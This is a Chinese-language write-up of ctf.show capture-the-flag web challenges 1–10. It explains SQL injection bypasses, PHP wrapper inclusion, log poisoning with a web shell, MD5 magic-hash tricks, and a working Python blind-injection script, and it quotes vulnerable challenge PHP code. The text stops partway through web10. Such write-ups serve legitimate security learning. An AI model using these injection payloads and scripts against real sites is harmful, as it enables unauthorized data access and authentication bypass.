目录
我横竖睡不着,仔细看了半夜,才从代码里看出字来,满本都写着三个字是‘我好菜’!”
web1/web签到题:
没啥好说的,右键源代码出flag
web2
猜闭合方式,加上万能密码得到回显:
接下来就是普通的union注入了。
web3
进入题目之后让我们以GET方式传参,但是传入url=flag.php发现并没有变化,此时考虑用伪协议。
抓包然后发送至repeater修改:
访问xxx/?url=ctf_go_go_go得到flag
web4
乍一看和上一题一样,但是如果传入参数带有php的话会报错,这时我们可以进行日志注入(我也不知道怎么得到的,可能是其他师傅的字典强大吧)
然后直接在User-Agent插入一句话木马
便得到了flag
web5
前面无关紧要,重点在中间那段php代码
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
意思是让我们get传递两个参数v1和v2,v1需要满足是字母,v2需要满足是数字,且两个参数md5加密之后的值得相同。
这里md5 0e绕过可以满足三个条件
百度一下之后得到满足三个条件的字符串:v1=QNKCDZO,v2=240610708
直接传参便得到了flag.
web6
这道题在web2的基础上过滤了空格,我们直接用/**/代替。
后面步骤就都一样了。
web7
此题也是过滤空格的sql注入,注入点在id处,方法和上题一样,就不赘述了。
web8
不过这道题过滤了逗号,所以我们用盲注的方法来获取flag
脚本如下:
import requests
req = requests.Session()
url='http://8ad7e7ea-13ff-48d4-91ea-bf0aee246681.challenge.ctf.show:8080/index.php'
result=''
proxies={'http': '127.0.0.1:8080'}
header={
"Cookie": "UM_distinctid=17a5c18592a2de-0cf2dd1aa448f88-4c3f2d73-144000-17a5c18592b515",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Origin": "http://8ad7e7ea-13ff-48d4-91ea-bf0aee246681.challenge.ctf.show:8080"
}
def baoshuju(url,proxies):
result=''
for i in range(0,150):
for j in range(32,128):
p="?id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/1/**/offset/**/0)from/**/%d/**/for/**/1))=%d#" %(i,j)
response=requests.get(url+p,headers=header)
content=response.text
if "A Child's Dream of a Star" in content:
result+=chr(j)
print(result)
break
baoshuju(url,proxies)
我用了limit 1 offset 0代替limit0,1;substr(str from [number1] for [number2])来代替substr(str,str1,str2)
最终得到flag。
web9
乍一看跟前几道sql注入一样,但是不管怎么试都没有回显,抓包也没有发现,索性扫扫后台,发现robots.txt,进入之后给提示,存在/index.phps
下载之后发现里面是php代码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
由于小菜鸡太菜,这里这个md5验证我没见到过,看了看大佬的wp,发现当传入password=ffifdyop时,当这串字符串被转换成16进制的hex值以后,再转化回字符串后会包含' 'or ' 6'<trash>; 所以现在的sql语句就变成了
select * from user where username ='admin' and password ='"'or ' 6'<trash>"'
<trash>没用,6非0则为真,然后password又是or连接,所以判断为真,实现绕过,拿到flag。
web10
和上题一样,这道题也有一个index.phps
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
由于
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
这个的存在,不能双写绕过。
但是这里有个骚操作,我们发现没有过滤group by和with rollup函数,而group by将列以逻辑排序之后,后面如果有with rollup的话,这个列的最后会多出一个空的数据,所以我们就可以绕过了